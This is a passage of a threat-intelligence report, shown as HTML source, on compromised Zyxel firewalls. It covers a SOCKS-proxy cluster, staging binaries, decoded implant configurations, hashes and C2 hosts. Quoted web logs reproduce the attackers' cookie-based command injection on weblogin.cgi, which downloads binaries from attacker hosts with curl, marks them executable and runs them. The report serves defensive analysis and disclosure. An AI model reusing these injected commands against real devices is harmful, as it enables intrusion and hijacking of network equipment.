          &lt;td&gt;Zyxel USG60W&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel VPN 100&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG310&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG40W&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel NSG50&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;unknown&lt;/td&gt;
          &lt;td&gt;20%&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
    &lt;/table&gt;

  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;The Entra source-IP view was dominated by Zyxel fingerprints. By contrast, the C2 / NetFlow view, limited to AS3320, covered a similar number of unique IPs over a shorter observation window but reflected a broader embedded-device mix.&lt;/p&gt;

&lt;p&gt;The Entra dataset contained approximately 150 unique IPs over 30 days. The C2 / NetFlow dataset contained approximately 150 unique IPs over 7 days. This difference is relevant because the identity-side telemetry narrowed the investigation primarily toward Zyxel devices, while the infrastructure-side telemetry indicated a broader embedded-device pool.&lt;/p&gt;

&lt;p&gt;One customer IP appeared in both datasets. After contacting the customer, we confirmed that the affected system was a Zyxel NSG100 and obtained consent to acquire it for forensic analysis and controlled honeypot monitoring.&lt;/p&gt;

&lt;p&gt;This correlation provided sufficient basis to continue the investigation. It established an investigative lead linking low-volume authentication activity, embedded-device telemetry, and C2-adjacent infrastructure.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;2-compromised-zyxel-device-analysis&quot;&gt;2. Compromised Zyxel Device Analysis&lt;/h2&gt;

&lt;p&gt;The customer-provided Zyxel device gave us the first host-side view of the operation. Instead of relying only on identity telemetry, NetFlow, and external fingerprints, we gained access to the live operational state of the compromised system, including process trees, filesystem paths, environment variables, open sockets, live network behavior, and memory from active processes.&lt;/p&gt;

&lt;p&gt;The device was a Zyxel NSG100 running the most recent firmware available for that model at the time of acquisition. All artifacts described below were located in writable temporary directories (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp&lt;/code&gt;), so none of the observed infections survived a reboot.&lt;/p&gt;

&lt;p&gt;The device showed at least two operationally distinct activity clusters.&lt;/p&gt;

&lt;h3 id=&quot;21-zysocks5-cluster&quot;&gt;2.1 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt; Cluster&lt;/h3&gt;

&lt;p&gt;We name this cluster after its most visible artifact, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt;. It behaved like a lightweight SOCKS proxy deployment: it exposed a SOCKS listener, used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5.auth&lt;/code&gt;, and appeared focused on proxy access rather than a larger tasking framework.&lt;/p&gt;

&lt;p&gt;On the customer device, this cluster left a small set of files under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;. The authentication file is included as an artifact because it was referenced by the active command line (see the table below). Its observed format was consistent with a username:password pair, consisting of two six-character fields separated by a colon.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Artifact / indicator&lt;/th&gt;
      &lt;th&gt;Observed role&lt;/th&gt;
      &lt;th&gt;Indicator&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;SOCKS listener binary&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;46ab8d0ccb961dc28218f1ff31b429363634f6b1a9b29622d8736fc2f214da9a&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;downloaded helper binary&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3cfbfbb967dc36996a345a7a79ee28112be0a082c8523b6fbf9bac824ef996f0&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python fetcher for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://194.156.98[.]120/mips64n32/wget&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;47dd7a3890e85e92b728e667228bc119b299cf53f8f648d42fbab2a9948d0c33&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5.auth&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;likely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;username:password&lt;/code&gt; credential file passed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-a&lt;/code&gt;; two six-character fields&lt;/td&gt;
      &lt;td&gt;present, value withheld&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;staging host&lt;/td&gt;
      &lt;td&gt;host referenced by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget.py&lt;/code&gt; for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips64n32/wget&lt;/code&gt; delivery&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;194.156.98[.]120&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;web-CGI source&lt;/td&gt;
      &lt;td&gt;source observed in Zyxel web logs for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export-cgi&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_upload-cgi&lt;/code&gt; requests&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;194.195.90[.]145&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt; binaries were not unique to this device. Targeted public-reputation and trusted-source pivots had previously seen both binaries on IP addresses that prior reporting associated with Quad7. A trusted source also observed multiple outbound connections from the running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt; process to Entra ID endpoint IPs, tying the device-side proxy foothold back to the identity-facing activity without proving operator identity.&lt;/p&gt;

&lt;p&gt;Representative runtime evidence showed the process listening on TCP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;46751&lt;/code&gt; as UID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;99&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nobody&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tcp 0 0 0.0.0.0:46751 0.0.0.0:* LISTEN 99 379852 24071/zysocks5
nobody 24071 ... zysocks5 -p 46751 -a zysocks5.auth -d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The process environment explained how the binary had been started. On Unix-like systems, a child process can inherit environment variables from the program that launched it. Here, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt; still preserved request fields from the Zyxel web interface:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;REQUEST_URI=/cgi-bin/file_upload-cgi?v=/dummy.html
PWD=/tmp
_=/tmp/zysocks5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Web logs from the same period showed requests for exporting the startup configuration followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_upload-cgi&lt;/code&gt; POSTs from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;194.195.90[.]145&lt;/code&gt; — evidence that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt; was launched through the Zyxel web-CGI path rather than from an interactive local shell.&lt;/p&gt;

&lt;p&gt;Based on that file and connection context, we assess that this cluster was likely the activity we saw in the initial threat hunt. It also represents another possible connection to the Quad7 context, without proving attribution to Quad7. The remainder of this blog post does not focus on the zysocks5 cluster, which remains under separate monitoring and analysis. Instead, this post follows the distinct xserver/MIPS activity that subsequently linked the infected Zyxel device to the exposed backend environment.&lt;/p&gt;

&lt;h3 id=&quot;22-xserver-cluster&quot;&gt;2.2 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; Cluster&lt;/h3&gt;

&lt;p&gt;This cluster was also observed on the acquired compromised Zyxel device and is the focus of the remainder of this report. On the device, it appeared as a staging chain with compact binaries, tokenized delivery paths, decoded configurations, and a larger runtime.&lt;/p&gt;

&lt;h4 id=&quot;221-staging-implants-and-delivery-shifts&quot;&gt;2.2.1 Staging, Implants, and Delivery Shifts&lt;/h4&gt;

&lt;h5 id=&quot;earlier-tmp-staging&quot;&gt;Earlier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/&lt;/code&gt; staging&lt;/h5&gt;

&lt;p&gt;The device did not exhibit a single, consistent staging pattern. Instead, at least three generations of staging activity were observed. The earliest observed chain used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/&lt;/code&gt;, a writable temporary directory on the Zyxel. Based on timestamps, process lineage, and file context, three files could be tied to this cluster:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/tmp/
|-- mips
|-- 83ef
`-- 2e89
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/83ef&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/2e89&lt;/code&gt; were compact binaries with random-looking local names. In addition to downloader-like behavior, both binaries exposed Linux connection-state inspection strings, including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/net/tcp&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/net/tcp6&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/%s/fd&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/%s/fd/%s&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/%d/exe&lt;/code&gt;. Binary comparison showed that the two files shared the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.rodata&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.got&lt;/code&gt; sections, while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt; differed, consistent with configuration variation inside the same build line. The observed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/mips&lt;/code&gt; file was a larger runtime launched by that staging chain.&lt;/p&gt;

&lt;p&gt;Zyxel webserver logs preserved the delivery commands for the two compact stagers. Line breaks in the log excerpts below are added for readability:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[pid 21317] [client 38.180.190[.]115:37222]
  The client browser has arip cookie.
  arip=127.0.0.1|curl -o /tmp/83ef \
    http://38.180.190[.]115:23323/hqsz720f2a

[pid 11053] [client 38.180.190[.]115:58590]
  The client browser has arip cookie.
  arip=127.0.0.1|curl -o /tmp/2e89 \
    http://38.180.190[.]115:23323/hqsz494354
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Static and sandbox triage also showed Mirai/Gafgyt-like traits in this first stager generation. This is code and behavior resemblance only; it does not establish actor attribution, nor a claim that the later stagers belong to Mirai/Gafgyt.&lt;/p&gt;

&lt;p&gt;The process tree then showed how one branch of the chain executed. A shell command created from a web request launched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/83ef&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/83ef&lt;/code&gt; launched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/mips&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sh -c /usr/sbin/matchfp 38.180.190[.]115 127.0.0.1|/tmp/83ef
`-- /tmp/83ef
    `-- /tmp/mips
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt;, the process environment preserved the launch context. Here, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/$mips_pid/environ&lt;/code&gt; still held request metadata from the Zyxel web-authentication endpoint:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;REQUEST_URI=/weblogin.cgi
HTTP_COOKIE=arip=127.0.0.1|/tmp/83ef
REMOTE_ADDR=38.180.190[.]115
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Three fields carry the chain: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REQUEST_URI&lt;/code&gt; names the web-authentication handler, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP_COOKIE&lt;/code&gt; preserved the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arip&lt;/code&gt; value containing the staged local path, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REMOTE_ADDR&lt;/code&gt; preserved the source of that request. That is enough to reconstruct the launch path without knowing the underlying vulnerability: a Zyxel web request led to the local staging binary, and from there to the running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/mips&lt;/code&gt; runtime.&lt;/p&gt;

&lt;p&gt;We developed an initial extractor for the legacy format and decoded an XOR-obfuscated configuration record from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;id16: &amp;lt;redacted unresolved 16-byte value&amp;gt;
port: 443
host: 38.180.190[.]115
arch: mips
callback_url: &amp;lt;redacted customer-specific callback URL&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Later reinfection logs from the controlled device showed a second generation. The delivery pattern still used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/&lt;/code&gt;, random-looking four-character local filenames, and tokenized &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz*&lt;/code&gt; paths, but the binaries had moved to a newer appended-configuration format:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2026-05-06T05:56:17+00:00 src=&quot;94.74.85[.]247:0&quot; dst=&quot;0.0.0.0:0&quot;
  msg=&quot;weblogin.c-main(2142) arip = 127.0.0.1|curl -o /tmp/30ed \
    http://94.74.85[.]247:23323/hqsz97cfb9&quot;

2026-05-06T05:56:17+00:00 src=&quot;94.74.85[.]247:0&quot; dst=&quot;0.0.0.0:0&quot;
  msg=&quot;weblogin.c-main(2142) arip = 127.0.0.1|curl -o /tmp/89c1 \
    http://94.74.85[.]247:23323/hqszb795ea&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We extended the extractor to support this format and decoded the files through an EOF trailer path: trailer magic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xDEAEC0DE&lt;/code&gt;, CRC32 over the encrypted blob, and an RC4-decrypted configuration. The new layout was:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;id16: &amp;lt;redacted unresolved 16-byte value&amp;gt;
port: 8888
host: sd.clubde[.]xyz
arch: mips
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;During that phase of the investigation, we observed two substantially similar &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz&lt;/code&gt; files as part of the same infection flow. Both files had a similar decoded configuration structure, but the reason for two separate files remained unresolved. This second generation remains unattributed beyond the infrastructure and runtime cluster followed in this report.&lt;/p&gt;

&lt;h5 id=&quot;later-vartmp-staging&quot;&gt;Later &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/&lt;/code&gt; staging&lt;/h5&gt;

&lt;p&gt;Later observations showed staging move to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/&lt;/code&gt;, followed shortly by another visible delivery change:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/tmp/
|-- abc
|-- mips
`-- tmpfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The logs show the same web-authentication injection surface used to stage and execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2026-05-23T03:57:31+00:00 src=&quot;94.74.85[.]247:0&quot; dst=&quot;0.0.0.0:0&quot;
  msg=&quot;weblogin.c-main(2142) arip = 127.0.0.1|curl -o /var/tmp/abc \
    http://94.74.85[.]247:1098/mips&quot;

2026-05-23T03:57:37+00:00 src=&quot;94.74.85[.]247:0&quot; dst=&quot;0.0.0.0:0&quot;
  msg=&quot;weblogin.c-main(2142) arip = 127.0.0.1|chmod 777 /var/tmp/abc&quot;

2026-05-23T03:57:38+00:00 src=&quot;94.74.85[.]247:0&quot; dst=&quot;0.0.0.0:0&quot;
  msg=&quot;weblogin.c-main(2142) arip = 127.0.0.1|/var/tmp/abc&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This sequence shows the later chain directly: download the remote path &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mips&lt;/code&gt; as the local file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt;, mark it executable, and launch it from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The naming is easy to misread. In this later chain, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt; first appears as the filename on the HTTP staging endpoint, but the downloaded file is saved locally as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt;. After &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt; runs, the device can still end up with the same larger local runtime named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/mips&lt;/code&gt;. In other words, remote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mips&lt;/code&gt; and local &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt; refer to the same downloaded artifact, while local &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/mips&lt;/code&gt; is a separate runtime.&lt;/p&gt;

&lt;p&gt;Compared with the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; generation, the tokenized &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz*&lt;/code&gt; path disappeared from the visible delivery URL. The remote file was now a stable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mips&lt;/code&gt; path, saved locally as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt;; in later reinfections, that source path and local filename remained consistent.&lt;/p&gt;

&lt;p&gt;The same EOF-trailer extraction path still worked, and the decoded structure stayed consistent with the second-generation &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz*&lt;/code&gt; stagers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sd.clubde[.]xyz&lt;/code&gt;, port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8888&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt;. What changed here was the staging path and the naming, while the config family stayed the same.&lt;/p&gt;

&lt;p&gt;The later &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz*&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt; stagers carried encrypted appended configuration and connected to operator infrastructure. Some later builds also exposed proxy-related functionality.&lt;/p&gt;

&lt;p&gt;The two configuration records shown above are examples, picked because they mark the format change. We did not need config extraction to notice the infrastructure moving. Each time the honeypot was re-infected, the delivery logs and the captured traffic already named the new staging and C2 host. Config extraction came afterwards. It confirmed what the traffic had shown and, more importantly, let us tie a specific host and port to a specific sample.&lt;/p&gt;

&lt;h4 id=&quot;222-the-large-mips-runtime-on-the-device&quot;&gt;2.2.2 The Large &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt; Runtime on the Device&lt;/h4&gt;

&lt;p&gt;This section focuses on the larger &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/mips&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/mips&lt;/code&gt; runtime introduced above. The analysis is based on process maps, reconstructed stack/environment data, and memory extracted from the active process.&lt;/p&gt;

&lt;p&gt;The process context linked the larger &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt; runtime back to the preceding staging chain. The recovered process environment did not contain direct command-line login flags for the proxy runtime. Instead, reconstructed stack/environment data preserved the CGI/request context used during staging. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arip&lt;/code&gt; cookie referenced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/abc&lt;/code&gt;, the compact binary downloaded and executed immediately before the larger &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt; runtime appeared on the device.&lt;/p&gt;

&lt;p&gt;This indicates that the larger runtime was launched through, or handed off from, the compact staging artifact, rather than started directly with proxy credentials on the command line. The exact parser or handoff mechanism remains unresolved.&lt;/p&gt;

&lt;p&gt;Memory analysis of the running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt; process then recovered a URL-encoded WebSocket configuration payload associated with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api.iproyal[.]com&lt;/code&gt;. IPRoyal/Pawns refers to a &lt;a href=&quot;https://pawns.app/&quot;&gt;residential-proxy client ecosystem&lt;/a&gt;; the evidence supports protocol and runtime compatibility with this style of reverse-proxy agent, not provider-side attribution. The decoded structure included a reverse-proxy server, proxy credentials, and metadata declaring &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;driver_alias&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-reverse-proxy&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;proxy_server_ip&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;port&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9494&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;redacted&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;redacted&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Meta&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cpus&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;device_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;driver_alias&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ssh-reverse-proxy&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;hostname&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
